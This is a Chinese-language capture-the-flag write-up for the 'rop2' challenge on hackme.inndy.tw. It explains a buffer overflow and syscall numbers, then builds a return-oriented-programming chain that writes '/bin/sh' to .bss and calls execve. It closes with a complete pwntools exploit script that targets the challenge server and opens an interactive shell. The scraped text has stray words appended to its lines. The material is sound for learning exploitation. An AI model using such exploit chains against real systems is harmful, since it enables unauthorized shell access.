先checksec一下:python
有个大概思路:rop过NXlinux
main中和overflow函数里都有syscall函数,以下:函数
观察到这里有缓冲区溢出!"A" * 0xC!学习
先来学习syscall函数:rest
syscall(int arg1, ……),为可变参数的函数,第一个参数为系统调用号,用如下命令查询:code
cat -n /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep "__NR_"
4 #define __NR_restart_syscall 0 5 #define __NR_exit 1 6 #define __NR_fork 2 7 #define __NR_read 3 8 #define __NR_write 4 9 #define __NR_open 5 10 #define __NR_close 6 11 #define __NR_waitpid 7 12 #define __NR_creat 8 13 #define __NR_link 9 14 #define __NR_unlink 10 15 #define __NR_execve 11 16 #define __NR_chdir 12 17 #define __NR_time 13 ……
拿__NR_read 3举例,表示ID = 3时,调用的是read函数blog
SYSCALL_DEFINE3(read, unsigned int fd, char* buf, size_t count)
fd为系统描述符,fd=0时表示标准输入,从键盘输入读取,buf为缓冲区,count为长度utf-8
拿__NR_write 4举例,表示ID = 4时,调用的是write函数(和read相似)rem
_syscall3(int write,int fd,const char * buf,off_t count)
咱们看到,execve函数的ID为11,当执行execve(“/bin//sh”,NULL,NULL)即成功。get
因此,咱们的目标是:
(1)将"/bin/sh"写入
(2)利用syscall,调用ID=11的execve
因此gadgets链表为:syscall(3, bss, 0, 8) - syscall(11, bss, 0, 0),而后在输入"/bin/sh"
细节1:
找gadgets是在函数__libc_csu_init中,须要几个参数就从第几个开始
细节2:
当发现程序没有开启PIE时,须要哪些地址的值,都是能够在IDA中扣出来这些地址滴
#!/usr/bin/env python # coding=utf-8 from pwn import * #io = process("./rop2") io = remote("hackme.inndy.tw", 7703) p4r = 0x08048578 syscall_addr = 0x08048320 bss_addr = 0x0804A020 #elf = ELF("./rop2") #syscall_addr = elf.symbols["syscall"] #bss_addr = elf.bss() io.recvuntil("ropchain:") payload = "A" * 0xC + "B" * 4 payload += p32(syscall_addr) + p32(p4r) + p32(3) + p32(0) + p32(bss_addr) + p32(8) payload += p32(syscall_addr) + p32(0xABCD) + p32(11) + p32(bss_addr) + p32(0) + p32(0) #payload = fit({0xC+0x4: [p32(syscall_addr), p32(p4r), p32(3), p32(0), p32(bss_addr), p32(8)]}) #payload += fit({0x0, [p32(syscall_addr), p32(0xABCD), p32(11), p32(bss_addr), p32(0), p32(0)]}) io.sendline(payload) sleep(1) io.sendline("/bin/sh\x00") io.interactive()